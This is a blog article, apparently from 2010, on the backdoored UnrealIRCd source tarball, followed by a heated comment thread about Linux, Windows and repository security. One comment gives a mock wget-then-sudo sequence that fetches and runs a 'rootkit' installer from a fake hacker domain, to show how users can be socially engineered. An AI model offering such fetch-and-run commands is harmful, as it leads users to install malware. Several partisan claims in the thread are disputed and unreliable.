Recently, the Linux version of UnrealIRCd was discovered to have had a Trojan worm its way into the source code. Even more embarrassing for the developers of Unreal is that the Trojan’s been holding open the backdoor in the source code since November of 2009– not very recently. And, of course, bloggers and press in general are taking the opportunity of another breach in Linux security to point out doomsday devices that don’t really exist.
The Trojan Trouble
The folks behind Unreal IRC issued a statement on the UnrealIRCd forum:
This is very embarrassing…We found out that the Unreal3.2.8.1.tar.gz file on our mirrors has been replaced quite a while ago with a version with a backdoor (trojan) in it.
This backdoor allows a person to execute ANY command with the privileges of the user running the ircd. The backdoor can be executed regardless of any user
restrictions (so even if you have passworded server or hub that doesn’t allow any users in).It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now.
Obviously, this is a very serious issue, and we’re taking precautions so this will never happen again, and if it somehow does that it will be noticed quickly.
We will also re-implement PGP/GPG signing of releases. Even though in practice (very) few people verify files, it will still be useful for those people who do.
Later, UnrealIRCd administrator Syzop posted an announcement on the main UnrealIRCd site stating that many new measures are being put into place to keep something like this from happening again (or if it does happen, to bring the malware to light much sooner). Aside from all releases being PGP/GPG-signed, the main site will be isolated from the others, some parts of the main site will be unmodifiable by anyone, several methods have been added to detect if any data is modified or switched, and files will only be available at the main site (for now). In addition, Syzop also mentioned that several other methods of protection have been established, though it’s understandable as to why he did not give any details as to what they were.
It’s unfortunate and embarrassing that a backdoor was left open for so long in any software no matter which platform it runs on, but it sounds as if the UnrealIRCd team has learned from this mistake and will hopefully avoid anything similar in the future. Hopefully other developers can learn and avoid a similar mistake, too. At any rate, the current Linux release of UnrealIRCd is now clean and safe to install and use.
News Flash: Linux Is Now Wicked!
It was apparent that this was going to happen because it’s happened in the past, but the press is taking advantage of this insecurity in a Linux app to harp on and on about the supposed degradation of Linux security. We’ve all heard it before “Windows didn’t get this virus! That means Linux is wicked! Linux is getting more and more viruses these days, and Windows is getting better security– does this mean that Linux now requires antivirus software just like Windows?” It goes on. I’m not putting down Windows or Linux (I use Windows mainly myself), but comparing Linux to Windows in terms of security is a joke no matter how much better Windows security has gotten with recent releases.
The real issue here is that bloggers and the press are jumping on this security problem pointing fingers specifically at Linux, when in reality Linux has little to do with this Trojan; the problem is really UnrealIRCd’s. This security issue shouldn’t even be front-page news, but I’m putting it here in a sort of challenge to the rest of the media and to set anyone straight on the matter. Syzop himself, our friend from earlier, states it perfectly:
On an unrelated side note, I find the claims in various media that this security incident indicates that Linux and Open Source cannot be trusted and that Microsoft and closed-software is better really silly. It lacks any foundation. A hacker, once in, could just as easily have inserted the backdoor in Windows software. In fact, it is *THANKS* to it being Open Source that this backdoor got noticed, though – I fully agree – much too late.
Every operating system– and every software, for that matter– is not completely invulnerable no matter how many brick walls get built around it. Breaches in Linux security are going to happen from time to time– and this wasn’t necessarily a breach in Linux security, as I already stated; this is a breach in UnrealIRCd security. Bloggers saying that this is a Linux problem I think I can safely classify in one of three areas:
- They want to create more hype than is actually there, thus bringing more attraction to their websites or their person
- They really don’t like Linux and/or open-source
- They don’t know what the heck they’re talking about
What do you think?
Bloggers saying that this is a Windows 7 problem I think I can safely classify in one of three areas:
1. They want to create more hype than is actually there, thus bringing more attraction to their websites or their person
2. They really don’t like Microsoft and/or closed-source
3. They don’t know what the heck they’re talking about
Well this is neither a Windows 7 or a Linux problem. This is just a problem of a compromised web server and not securing the integrity of your sources PERIOD
Everything I read about this issue was very misinformed.
First of all they say that this only affected Linux. Not true. If you compiled the source on Windows you have the same problems. Only if you used the windows binaries you were safe.
The only way this affected Linux (distros) was that Gentoo used the source for its package. Other major distros were not affected.
What I see here is Windows people knowing (or pretending to know) very little about open source and trying to make it look bad.
It’s not a security problem at all. At least not at the OS level.
If the people running the server had sent their tainted app to Apple, then you would be able to pay to have a Trojan in your iPhone. Until Apple took it down because it allows for extra functionality.
But still, Windows and Linux security are on the same league. In the case of Linux it is more aggravating if anything because the features are there somewhere, only disabled or enabled with holes. I am no elite hacker and I can still go from gets() to arbitrary command execution in my latest Ubuntu Karmic amd64 with the default options. All because of dubious GCC “optimizations”.
It is not at all difficult to write malware for any system at all.
The only place that people can put obstacles in the way is to prevent malware from getting on to a system in the first place.
The system of open source repositories in conjunction with package managers is the only system for distributing a complete set of software devised to date that has a good record in respect of malware.
You could indeed write code that exploited functions in Linux to get to execute arbitrary code (such as a keylogger), but that will not help you in your malicious intent against Linux users if you cannot get them to install your malware installer in the first place.
It is evident you don’t know much about the matter. I wonder why you feel compelled to post so much in this thread.
The problem at hand could have indeed been solved using trusted and trustworthy repositories.
However if the software has bugs, like using gets(), but really many kinds of bugs can do. You rely on exploit prevention and mitigation which is on par with Windows and still not at modern levels.
Then there is another whole class of exploits helped by people keeping all doors open in their servers, most of which use Linux, but could use anything.
This is not GPL code vs everyone else, it is distributors(GPLd and Proprietary) not fixing fixable things for whatever dark reason they have.
Your beloved Linux has “free” code(often just changing a number here and there) to prevent many exploits currently affecting faithful users like you. However, if they are not enabled by default it’s as if they never were there when the system is used by a normal user. Ship with all doors closed and write down why it is dangerous to open them and the user will get the chance to think twice.
Let’s just say that “insecure by default” doesn’t make a good slogan.
Meanwhile, in the real world, we actually get this situation:
http://gorumors.com/crunchies/malware-infection-rate-worldwide/
When they say “malware infected PCs”, they actually mean an estimated level of “malware infected Windows machines”.
This is the status-quo level at which the proverbial “bar has been set”. Linux machines must be able to better this standard to come off well in comparison with machines that are commonly marketed today.
ROFLMAO.
http://farm1.static.flickr.com/106/289981080_4008fa579a.jpg
Wait though … it gets better. Here is an expert opinion on the value for money of the status quo machines being mass-marketed today:
http://blogs.fsfe.org/gerloff/?p=359
Here is the situation with the worlds highest-performing, most expensive, highest-value machines:
http://techie-buzz.com/foss/linux-powers-91-of-the-worlds-top-500-f…
http://cache.techie-buzz.com/images/postimg/ricky/supercomputer1.pn…
Edited 2010-06-15 12:23 UTC
I give you.. Debian Stable. EnGard Secure Linux would be a good choice if the machine your protecting justifies it. Maybe not Damn Vulnerable Linux though.
Seriously though, this is really more of an example of how fast issues can be patched once discovered and a pretty good case study for how things can go badly. I’m adding it to my library beside the Debian OpenSSL issue from a year or so ago where a developer ignored the Debian policies and processes.
These things happen with all software but the repository distribution method continues to have a low (nearly nothing) case history of such issues; especially compared to other software distribution methods.
Just to be clear … the repository distribution system has a perfect record. Exactly nothing has ever happened, in terms of malware getting on to end users systems. This particular trojan incident had nothing at all do with the repository distribution system.
So, how many times are you going to ignore Gentoo then? It got into the distribution. It got into the Gentoo repositories. It got onto end user machines if they installed UnrealIRCd from the Gentoo repositories. More importantly, Gentoo had the fixed package available pretty much immediately after fixed source was available from UnrealIRCd.
I’ll agree fully that repository distribution has the most solid history so far but let’s not be deluded and seriously say “never has happened, never will happen”.
I didn’t know about that. Wow. I’m flabbergasted. Gentoo hasn’t read security 101 then? They got an unsigned binary tarball from a server somewhere, and put it in their repositories? The very act that is an absolute no-no? Gentoo users downloaded and installed it?
Really? That is almost beyond belief. Staggering.
I’m reminded once again of a quote from a German playwright/poet by the name of Friedrich Schiller:
http://en.wikipedia.org/wiki/Friedrich_Schiller
“Against stupidity the gods themselves contend in vain.” (Talbot, in: The Maid of Orleans)
Edited 2010-06-16 12:32 UTC
Dude, Gentoo is basically garbage. No one with more than one active brain cell takes it seriously.
I wasn’t premoting it.. just pointing out that a major distribution did get hit. And, due to human error rather than technical issues. Everybody makes mistakes and Gentoo where open about it and provided a prompt fix.
I still maintain that if it was Debian, it would have been news worthy as it would take some serious human failure or criminal genius.
INTJ/Asperger’s
Ubuntu.. popular.. but not the most solid distribution available. If only popularity was a valid indication of product quality in this world.
Only a problem then if you obtained the software from the main UnrealIRCd site or one of a few mirrors.
Not a problem at all for anyone installing software from their distribution’s repositories, which is by far the normal channel for installing Linux software, and the only one which is guaranteed to be proof against malware. For example, distribution repositories releases are PGP/GPG-signed.
Use the distribution repositories via your package manager, and you will have no such problems. This incident is yet another illustration of this.
Edited 2010-06-15 01:50 UTC
Distributor don’t read the source code every time they package a software. Most of them just update the content of the “src” folder with the new code and and edit the debian/changelog file. It does not prevent infected software from going in, signed or not.
Edited 2010-06-15 03:08 UTC
Unless you can provide a real-life instance of something remotely like this ever happening, you are just blowing wind (and seriously insulting distribution maintainers while you are at it, BTW).
Good luck trying to find such an example.
PS: For most changes, only the “diffs” need to be examined, not the entire source code.
Edited 2010-06-15 03:28 UTC
BTW, GPG signing of the code and requiring it to be installed via a package manager would have prevented this particular incident from happening to the UnrealIRCd application.
Edited 2010-06-15 03:44 UTC
Except in the case of Gentoo. Hopefully a more complete list of affected distributions will turn up in the next few days though. It would be interesting to see how far it managed to get. Ideally, with reports of Windows and other platform’s who had the malicious tarball compiled for use.
And as we have learned from the past, not only do most distributors not read the source, when they do make changes, its not always going to be a secure edit.
This boils down to the distros were just lazy enough that they didn’t get this latest source and compile it. If they had been following this as closely as say Firefox, there surely would have been an updated packed with the source version. But none of us have any evidence that at least one had not done this already.
It was getting what they thought was the latest source version, without accompanying signatures to verify its integrity, that caused this problem.
UnRealIRC is not in Debians repositories, for example, and hence not in Ubuntu’s as well. Debian considered it too much of a security risk, and too obscure to be worth it.
AFAIK, it is not in Fedora’s repositories, nor in SuSe’s, nor in Mandriva’s, nor in any of the distributions derived from any of these.
That is most distributions.
Edited 2010-06-17 00:30 UTC
And people keep bitching because Apple won’t open up the iPhone/iPad to allow for installing apps from outside sources. But I say, be careful for what you wish for …
Insofar as Linux goes, it’s easy to say that a platform is secure when you just tell people that, to stay secure, you gotta stick to the applications supplied to you by the Distro Gods. And in the case of Linux, as we have seen here, it is even more dangerous to venture outside the sandbox of the distro repository, since any douchebag can screw with the source, recompile it, and offer it on some random server. Better hope whoever downloads it knows about PGP.
WTF????
Opposite situation. It is better for the outside developer to avail themselves of the resources of the distribution repository. Unlike Apple, this not a case of “your app can’t be in our repository” … where is there any profit in that?
The “Distro Gods” are not in the business of trying to limit you. You can get, say, VLC, KDE, MPlayer, Firefox and OpenOffice on Debian, Ubuntu, SuSe, Mandriva and RedHat. It is the same code, it is not re-written dozens of times over by different “Distro Gods”. Sheesh!
There are over 25,000 open source packages in Debian/Ubuntu repositories. This is hardly a case of anyone “playing God” and trying to somehow short-change you.
But, anyway, if your application is too obscure for a distribution to accept it (because after all they would have to devote resources to it if they did accept it) … then you can still sign your packages and host them in a format suitable for delivery via end users package managers anyway. The only weakness here is that end users must add a URL to your distribution server in their software sources list, and they must obtain your public key securely from somewhere. There are key servers for that latter purpose.
For example, if you want a version of Firefox-3.7 that includes WebM, right now, today, then here you go:
https://launchpad.net/~ubuntu-mozilla-daily/+archive/ppa
Open a terminal and enter:
sudo add-apt-repository ppa:ubuntu-mozilla-daily/ppa
sudo apt-get update
sudo apt-get install firefox-3.7
This will install a GPG signed version of Mozilla 3.7 nightly build on your Ubuntu system, using the apt package manager, independent of Ubuntu’s repositories. The end user does not have to know anything about GPG. The first command, add-apt-repository, gets a key for the ppa from a trusted keyserver.
There are over 18,000 projects on launchpad.net.
https://launchpad.net/
Edited 2010-06-15 05:45 UTC
I didn’t say they were. Only thing I am saying is that, if you stick to your distro’s repository, they are ultimately in control over what gets installed on your system. This is not really any different than the Apple app store.. Sure, their motives might be different (whereas Apple may decide a particular app goes against their profit motive, the Distro Gods may decide that the app is just not popular enough to worry about), but the choice of what you can install is still in the hands of somebody else, unless you seek outside sources, in which case you’re opening yourself up to security issues.
No, but they’d have to know about sudo, apt-get, package managers, and key servers. Somehow, that doesn’t seem a whole lot less complicated.
Not at all. Users need to know only:
(1) How to “Open a terminal”,
(2) How to highlight a line of text from this very web page as they are reading it,
(3) How to paste that copied text into the terminal application (hint: middle-click anywhere in the terminal window area)
(4) their password
They do that three times, once for each line (actually, they need to know their password only for the first line), and they are done.
It sin’t hard. Select each line of text, one line at a time, in order, for the following three lines:
Then middle-click anywhere in the terminal window after each selection has been made.
Users don’t even need to know how to type (except for their password, once only).
There is also a GUI way to do the same thing using Synaptic, but that is actually harder to describe on a text-based web forum such as this, and harder for users to actually carry out.
Anyway, had the vendors of the app which is the subject of this thread simply opened a launchpad.net account and copied their source tree there, this trojan would have been avoided for Ubuntu/Kubuntu users.
Edited 2010-06-15 07:36 UTC
Are you seriously suggesting that copy&pasting commands that one doesn’t understand from some web site is a safe thing to do? If you’re training users to just blindly type ‘sudo’ commands without understanding what they do, you’re creating a large opportunity for social engineering:
To get the latest Firefox with instant Facebook updates, type these commands:
1. wget http://thehax0rzplaze.com/infectedFireFox.tgz
2. tar zxvf infectedFireFox.tgz
3. sudo infectedFireFox/installRootKit.sh
then type your password.
Edited 2010-06-15 09:35 UTC
Strangely enough, what you just described is the very means by which one had to install the UnrealIRCd trojan.
You do have a point. I would first caution uses to look for the keyword “signed” and “open source” on the source page.
Like this one has:
https://launchpad.net/~ubuntu-mozilla-daily/+archive/ppa
It says: “daily (or even multiple builds per day) for various mozilla projects and branches”. Mozilla is open source.
It also says: “You can update your system with unsupported packages from this untrusted PPA by adding ppa:ubuntu-mozilla-daily/ppa to your system’s Software Sources” so it warns you about what you are doing. There is no attempt at trickery of social engineering here, this is definitely a potential system-breaker thing to do.
The thing is, you can do it. You can participate in the cutting-edge development of Mozilla, via running, testing and reporting on the very latest build. Don’t do this on anything other than a test system, however … because, as it warns you, this is untrusted. Don’t trust it on a system with anything important on it.
This is most decidedly a “user beware” operation. We are talking here about unstable nightly development builds, after all.
Edited 2010-06-15 10:03 UTC
“Firefox can’t find the server at http://www.thehax0rzplaze.com”
No Fair! It won’t let me in!
(I kid, of course though i would have laughed pretty hard if the domain did exist)
The problem with ppa is, who is behind the ppa/gpg-key ?
Yes, you can prove which lauchpad user it was, but that is about it (just like any other piece of software you download of the internet).
Atleast with a direct distribution-channel, you have a change more people have looked at it before it went in to a release.
It is sent via a key server, and AFAIK that is itself an installation signed by Ubuntu’s repository key.
Your key isn’t just generated by yourself, you have to get “cred” for your key in order for it to get on a key server.
http://en.wikipedia.org/wiki/Key_signing_party
There was a huge shipment of Windows boxed copies on it’s way to retail stores that got stopped by police a few years back. All counterfeit and riddled with malware. You can’t even trust hardcopy distribution these days.. eesh..
WIth direct distribution channel I meant the Linux-distributions. 🙂
Atleast you can md5 the iso before installing.
Shame the developers didn’t provide a file hash for verification from the beginning. That would have at least caught this on it’s way into any reputable distributions even if one-off home users didn’t bother to verify.
It wasn’t in any distributions. Too obscure.
The whole reason the UnrealIRCd trojan happened was because distribution for this obscure package was done OUTSIDE of any distribution or package manager system.
UnrealIRCd for Linux was distributed in exactly the same way that Windows executables are often distributed. Because it was distributed this way, then just like those Windows packages it was able to be used to carry a trojan.
Edited 2010-06-15 23:08 UTC
Secunia Advisory SA40147
Gentoo update for unrealircd
http://secunia.com/advisories/40147
Bugzilla Bug 323691
=net-irc/unrealircd-3.2.8.1 remote command execution via backdoor (CVE requested)
http://bugs.gentoo.org/show_bug.cgi?id=323691
Important Security Update for UnrealIRCd in Gentoo
http://www.linuxcompatible.org/news/story/security_update_for_unrea…
Gentoo alert 201006-21 (unrealircd)
http://lwn.net/Articles/392099/
Encase those are too subtle:
“the malware-compromised code was included in the official Gentoo distribution”, since Nov. 2009.
http://www.webhostingtalk.com/showthread.php?t=956392
These are not random news sites sensationalizing the information. Maybe I’m imagining all those links?
Stop being so emotionally involved in your chosen soapbox. Your doing the exact thing the media spin outlets are doing; over-reacting and focusing on a single misrepresented point rather than what is actually of value. Let’s move on to productive discussion like what processes allowed it to enter the distribution, how it can be caught in the future, *how fast it was patched*, how/if any other distributions where affected. Sticking your head in the sand and saying “it’s perfect, it’s perfect, it’s perfect” over and over doesn’t make it so.
(The irony here is your so spun up in rationalizing your single point that your attacking people like me who are primarily and enthusiastically Linux based platform users and administrators.)
I still can’t believe it, but there it is.
Mitigation of future occurrences is exceedingly simple: don’t do this. Don’t propagate unsigned binary packages. Period. Simple. Elementary. Totally do-able. Perfectly effective. Has, in fact, been the standard practice to avoid trojans for donkey’s years. Gentoo, apparently, just didn’t get the memo.
Removal from infected systems: Reformat “/” partition (leave /home partition as is). Re-install OS. 20 minutes or so downtime. While you are at it, you might also consider using another distribution that isn’t quite so brain dead.
PS: it looks like someone in Arch Linux community fell for this trojan for a little while also:
http://bbs.archlinux.org/viewtopic.php?pid=774951
Very disappointing indeed. One should never trust an unsigned binary package.
Edited 2010-06-16 12:55 UTC
FFMpeg has just released a new version that includes WebM.
http://www.h-online.com/open/news/item/FFmpeg-0-6-adds-WebM-VP8-sup…
So, as an independent open source project, as FFMpeg are, if you want to distribute packages to all & sundry, here is an example of how to do it:
http://www.ffmpeg.org/download.html
Checksums and PGP signatures. Elementary. This is the most basic, fundamental security principle to prevent trojans.
Edited 2010-06-16 14:03 UTC
Webmin also does a good job of maintaining there own Debian repository. I’ve also worked against a few repositories from trusted third parties in the past when going through the option list of network monitoring apps though in the end I returned to using Munin. A VMware repository would also be welcome if they could manage to fix VMware Server 2’s issues on Debian Stable.
As soon as you’re going through a distribution, you’re in the same situation as with commercial closed source software: you’re putting your security into someone else’s hand.
The same principles apply to both closed and open software: don’t download dubious software from sketchy sources.
Not quite. In fact, not at all.
With an open source system, those who package and distribute the code are not those who write the code. Anyone who receives the code can also receive the source of the code, and is therefore able to independently verify that it has been packaged faithfully. It is in the best interests of ALL parties who participate that the code be clean, functional, and written in the common best interests of all parties.
Security is therefore shared between all interested parties. Anyone can check on anyone else. Self-preservation is in everyone’s interest, and because the code is open, self-preservation alone (a very selfish motivation) ensures the code is clean, and that all parties agree that it is clean.
None of this applies with closed source distribution of binary packages where the author/owner of the package is the only party who is allowed to know what is in the package.
We were just discussing the weakness of all repositories, with you claiming otherwise. Your emperor isn’t wearing any clothes. Suck it.
WTF?? The UnrealIRCd package with the trojan didn’t come from a repository. In fact, that was the whole reason why this incident occurred in the first place … it didn’t use the repository/package manager distribution system at all. If you don’t understand these things, why do you comment on them?
Edited 2010-06-15 23:03 UTC
First they ignore you, then they laugh at you, then they fight you, then you win.
Linux has been ignored. Linux has been laughed at. Now they are fighting us. We are almost their.
The next sign of the coming Linux desktop has just turned up.
[pedantic spellchecker mode ON]
s/their/there/
As what you wrote is almost the opposite of what you meant 🙂
[pedantic spellchecker mode OFF]
All the reports I’ve read about this so far play it off as a manipulated download file on several mirror sites (and their main site?).
I’m not sure why that would indicate that the source code was compromised (although, perhaps the download archive itself contains sources which were also messed with).
In any case, I think this clearly indicates a distribution weakness – and I don’t think this is directly attributable to the open source nature of this project (which I’m sure is what many people are claiming). Similar malware could probably be easily attached to a closed source Windows/OS X binary package being distributed via untrusted mirrors or give non-trusted people access to your release area just as well.
Edited 2010-06-15 01:51 UTC
Replying to myself (to clarify for all) – so it seems only the source tarball they provided for download was compromised.
Their CVS repo was not, and neither were the pre-compiled binary installers for Windows, etc.
It is pertinent to note that neither was any code compromised which was actually a part of any GNU/Linux distribution.
Not anymore, Gentoo has already pushed the patched update out to it’s users.
While the source tarball was tainted, they didn’t fix the md5 string file…anyone caring about security would have run an md5sum and compared it to what the original developers put up there as the original md5 sum.
All done automatically and with better security if you use the package manager system.
Since this package was open source, why didn’t they simply submit it to the distributions? That way it would have been part of the various distribution package management systems, as a bonus the original website would not have had bandwidth worries nor the need to find mirrors, and this incident would have been avoided.
So if I thumbs up this article which part of the headline am I thumbing up? The Linux security issue or that the press are harping on Linux?
Even if a file is PGP/GPG signed, it could still have a trojan or security issue. Lots of software is installed from mirrors in Linux distros and each time you you do it you are trusting strangers and you don’t know how many. Transparency and peer review are important, seems to me.
If you examine the source code, and test the application that the source code produces, and then sign that with GPG, then later on no-one else can come along and attach something else (and something malicious) to the tarball on your server.
Had UnrealIRCd bothered to GPG sign the original Unreal3.2.8.1.tar.gz file with their repository key, then it could not have been replaced on their server or mirrors without triggering a GPG warning when anyone tried to install the trojaned version.
This is part of the way that Linux package managers actually work.
http://en.wikipedia.org/wiki/Package_management_system#Functions
Edited 2010-06-15 02:51 UTC
Ouch, and that seriously sucks for Unreal IRCD. They’ll probably have a bad rep for a while, perhaps even a deserved one if they weren’t securing their servers properly. Now, I think this could also be a good thing. How many times have I heard that just because something is open source that it’s automatically more secure than closed software? I can’t even count how many times that particular story gets tossed about, and this at least should put an end to it at least for those who can think critically. It doesn’t matter if your software is foss or not if someone gets into your server and puts a backdoor in it, pure and simple, and for the casual user there is no security difference between open and closed source.
As for the bloggers, well I find a good majority of the internet blogs aren’t worth the electrons they waste. If anyone even says this is related to Linux, that’s reason to immediately disbelieve them. It wouldn’t have mattered if this were to be installed on Linux, *BSD, OS X… if the trojan was in the source, it would hit you no matter what.
I don’t know who was actually telling you that, but if they did they got the story wrong.
The method that distributions employ to provide a guaranteed malware-free set of packages involves not only inspection and testing of the source code as it is accepted into Linux distribution repositories, but it also involves GPG signing of packages and package managers on the user’s computers to install packages.
None of the latter were involved in this UnrealIRCd incident. Being open source alone is not enough, and this incident highlights that fact very well indeed.
The only system with an impeccable record of delivery of malware-free software to end user’s systems is open source software delivered via distribution repositories and package managers.
Edited 2010-06-15 02:59 UTC
Imagine being the criminals who injected the backdoor code. Nobody want’s to be permanently branded as the guy that tried to (and successful to some degree), push malware into the major distributions. UnrealIRCd developers will take a while to live this down but if they find the people responsible for the break in; oh, I don’t want to be them.
…considering that most daemons are not typically run as the root user, let alone anyone can use the advanced security enhancement extensions built into the Linux Kernel.
The attacker still only gains the same privileges as the user running IRCD, which presumably is non-root, and ideally is a super-unprivileged user.
Every break in is made up of baby steps. Get the machine ports, get the user accounts, get into a user account, get root, home by five for beer and BBq.
http://www.itworld.com/open-source/110930/trojaned-app-demonstrates…
BTW, the means that the way the Unreal3.2.8.1.tar.gz file was distributed, (that is a unsigned binary file which one was supposed to just download from a website and install without checking) … is far more reminiscent of the typical means of installing Windows applications on users systems.
This is the way that Windows systems often handle software downloads. An example of what not to do.
I’d bet that the malware authors were rubbing their hands in glee when they found this one.
Edited 2010-06-15 04:56 UTC
First of all let me applaud the UnrealIRCd developers. This is a lesson of how security vulnerabilities should be handled. It doesn’t matter if you find one almost a year later, full transparency is always the best choice.
That said, wouldn’t this be trivially solved with a simple hash check?
Hash checks rely on manual action at the user’s end, and they aren’t that difficult to foil these days anyway. GPG signing is the way to go.
The easiest solution for UnrealIRCd would have been to open a project account on a server somewhere like launchpad.net (there would be equivalent host sites for other distributions). Then UnrealIRCd would have needed only to sync their development source tree with launchpad, and UnrealIRCd would have gained an automated way of delivering malware-free signed binary packages very easily to Ubuntu users, without any drain on their own server bandwidth.
The developers screwed up but they are due credit for how they handled it through transparency and voluntary disclosure.
So, does the OP even bother to read the articles he links? So, “on and on” really refers to one article, which states an obvious fact:
Nice way to fail their OP. No, the internet is not aflame with this news. Only one trying to stir up controversy is surprise; OSNews.
This is very oblique, and more than a bit misleading.
For example … Linux users who believe they can’t be infected by malware because they use package managers to install their signed open source software still have no incident on record, after all these years, to contradict that belief.
Anything unsigned and closed, or indeed anything simply unsigned and binary, that is downloaded and installed without checking (to any system at all) could potentially contain a malware payload. Windows users, of all people, should be aware of this.
Edited 2010-06-15 06:30 UTC
I think “can’t” is a bit too strong a word, I think “extremely unlikely to” is a better phrase. “can’t” is too black and white.
“can’t” implies that unless it happens, then it cannot and therefore will not happen. This in-turn implies that once it has happened, it can and therefore will happen.
If you were to say that it is extremely unlikely (never in x years), and then it happens, you can still say that it is extremely unlikely (once in x years).
Fair enough.
http://en.wikipedia.org/wiki/Advanced_Packaging_Tool#History
So then to describe the record for infection of end users systems via APT open source repositories you would suggest it be described as “it is extremely unlikely, say nonce in eleven years”.
OK, I can live with that.
Here are the estimated infection rates for another frequently-used system, for objective comparison purposes:
http://gorumors.com/crunchies/malware-infection-rate-worldwide/
Edited 2010-06-15 10:24 UTC
I’ve seen many sources, for example:
http://www.zdnet.com/blog/bott/linux-infection-proves-windows-malwa…
As r_a_trip already mentioned:
“The incident has nothing to do with Operating System or development methodology (open or closed).
The take away is that sloppy software projects, with a non-existent security process will sooner or later get compromised and serve their customers poisoned goods. Could happen anywhere, irrespective of platform or chosen software licensing.”
And that’s the only useful response.
But it seems the Gentoo folks were being stupid too:
http://www.gentoo.org/security/en/glsa/glsa-201006-21.xml
Atleast ALL distributions are now warned and thank god it was only the UnrealIRCd.
When you are creating packages for distributions, you should get the source from the source, not some mirror as in the case of Gentoo. You should check md5-keys at the source.
When it’s a smaller package I wouldn’t be surprised many package maintainers also take a look at the patch between the versions. So you know exactly what changed between versions.
Edited 2010-06-15 07:56 UTC
I would like to add, it’s not a perfect system, their are humans involved, they make mistakes.
But at the end of the day, you are putting software together from different sources. They should probably be contained as much as possible, also from each other.
And maybe you automate this a bit more and I hope we can improve on it. But eventually it will originate from a human being. A programmer. The Linux-kernel programmers use git to keep track of the origin of every single line of code that goes in to the kernel and every line is reviewed.
If we verify everything along the way into the distributions and the tools check the packages and files at (regularly and) at installation time, then that is probably the best thing we can do.
People throwing in Linux, people throwing in Windows. The incident has nothing to do with Operating System or development methodology (open or closed).
The take away is that sloppy software projects, with a non-existent security process will sooner or later get compromised and serve their customers poisoned goods. Could happen anywhere, irrespective of platform or chosen software licensing.
I think, what a nonsense article, full of inaccuracies and flamebait.
OSNews staff, please vet your articles a little better
So easy…
What are those inaccuracies that only you saw?
This one stands out
Other than security through obscurity, can the OP point out why Windows security is a joke compared to linux? I’m at a complete loss.
Sounds like fanboy flamebait which Thom usually avoids.
Yes, could we stick to OSNews please and not turn into OSOpinion?
Again, it’s funny. When THIS happens with Mac OS X, everybody says that it is crap and full of security holes.
When it happens on Linux, everybody says “hey, it’s a new security hole found, linux is more secure now. It doesn’t change anything to the fact that it’s still more secure than everything out there (windows, macos or BSD).
Just tired of this fanboyism.
Rubbish.
Distributing unsigned binary packages is a security hole that has been known about forever. This security hole is the entire reason package managers were designed written in the first place, over a decade ago.
Linux has been demonstrably more secure for the whole of that decade, but only for software distribution that utilises package managers. Like all trojans, this particular trojan relied on not being delivered via any package manager system.
Windows has no equivalent distribution system (although Windows Update does get part-way there, but that system applies only to Microsoft software). Consequently the security hole in Windows, wherein users routinely download and install unsigned binary packages, is absolutely enormous.
Edited 2010-06-15 10:55 UTC
Funny again how amnesic are Linux fanboy.
Your argumentation is just pointless when you see security holes like this:
http://www.informationweek.com/blog/main/archives/2008/05/a_black_e…
A single problems in the openssl debian package and BOOM all your genius stuff is doomed. now your genious deployement package tool – you are so proud of – is spreading the security holes on all OSes and it’s worst than installing manually software YOU chose to install because you TRUST the repository of the linux distribution.
I fail to see how it’s worse than installing software manually. Debian users got an OpenSSL security update as soon as the vulnerability was patched, because it was in the repository. In fact, not only did it fix the vulnerability, but there were several layers of safety in the patch to identify weak keys and warn the user if they are present, as well as stopping any of the same keys from coincidentally being generated in the future (because any attacker would look for the known weak keys first).
The Debian vulnerability was caused by human error, not by malicious intent as we’ve seen in the UnrealIRC problem.
One flaw doesn’t prove that the system is broken. Multiple flaws do. Internet Explorer 6 isn’t broken because of a cross-site-scripting flaw discovered in 2006, it’s broken because people keep finding cross-site-scripting flaws in it. The same applies with the repositories.
Once again, with emphasis, this UnrealIRCd problem has absolutely nothing to do with the repository system.
UnrealIRCd didn’t use the repository system, and THAT was the problem.
Bug counts are useless outside of superficial mass media and fanboy debate. All software is broken. Look at patch times instead. Once discovered, now long did it take Debian maintainers to deliver the update? How open where they during the process? How affective was the patch once delivered. How do these responses and turn around times compared to other major distributions and platforms?
Personally, my issue with Apple is not that bugs are discovered but how they address them. If they drop the “impervious to anything” marketing spin and demonstrated transparency from bug report through to patch availability; no problem. Apple’s “we have no bug in TCP/IP and NIC drivers” is a good example. Microsoft actually falls between the two in terms of public disclosure but they have also had cases of leaving vulnerabilities unpatched for years until embarrassed enough to address it. I haven’t seen Debian try to hush up a vulnerability; they are usually to busy delivering a patch response.
Doomed?
No users system got any malware through the debian openssl error.
Security hole? No, the openssl error reduced the security of openssl on Debian systems for a time, but it was a weakness, not a hole. It meant taht an attacker, who knew about the weakness, would have required significantly less time for a brute force attack against openssl than should have been needed. No end user’s system was ever breached because of it.
Spreading to all OSes? No. It was an error, that resulted in weaker openssl for some time on debian systems, and which was corrected when it was discovered in an audit at Debian.
Please stick to the facts, OK? No system can eliminate errors. This particular error resulted in no harm before it was fixed.
Zealot? Exactly who is spreading the lies and invictive here, hmmmm?
Edited 2010-06-15 23:25 UTC
It’s not even Linux fault…it’s the fault of the admin who compiles and installs not signed packages. PEBCAK in this case.
Well, I think signing of relases should be mandatory, as well as checking for valid signing when installing. When people compiling sources by themselves, you can’t enforce that, but in case of installing from repos you can, so that should be preferred. Who still install from unverified or unverifiable souces, that’s their problem. That’s all.
Should security guidelines on open source mirroring be published by an open source authority?
If a similar case happens again, these guidelines would easily allow to point to flaws on following them, rather than serving as base for the nth absurd wave of fud-makers’ articles.
If a similar case happens again, these guidelines would easily allow to point to flaws on following them, rather than serving as base for the nth absurd wave of fud-makers’ articles.
They’ll just find something else to spread FUD about, or they’ll just twist the facts enough to make it look bad even with the guidelines. Never underestimate the lengths to which a devious mind is willing to go
i remember when wordpress 2.1.1 was compromised in this way ( http://wordpress.org/development/2007/03/upgrade-212/ ) but the issue was caught pretty fast.
in this case – 6 months, and nobody noticed? that kind of failure cannot possibly be described correctly.
On Ubuntu, there are at least three different IRC servers that can be installed directly via the normal repositories using apt-get or synaptic.
http://ubuntuforums.org/showthread.php?t=233146
They are ircd-hybrid, bahamut and ircd-ircu
http://ircd-hybrid.com/
http://www.dal.net/?page=Bahamut
http://coder-com.undernet.org/
I would suggest perhaps that the audience for this UnrealIRCd program is not all that large. Maybe nobody downloaded it.
I’m registering just because watching you talk out of a completely ignorant position is just maddening.
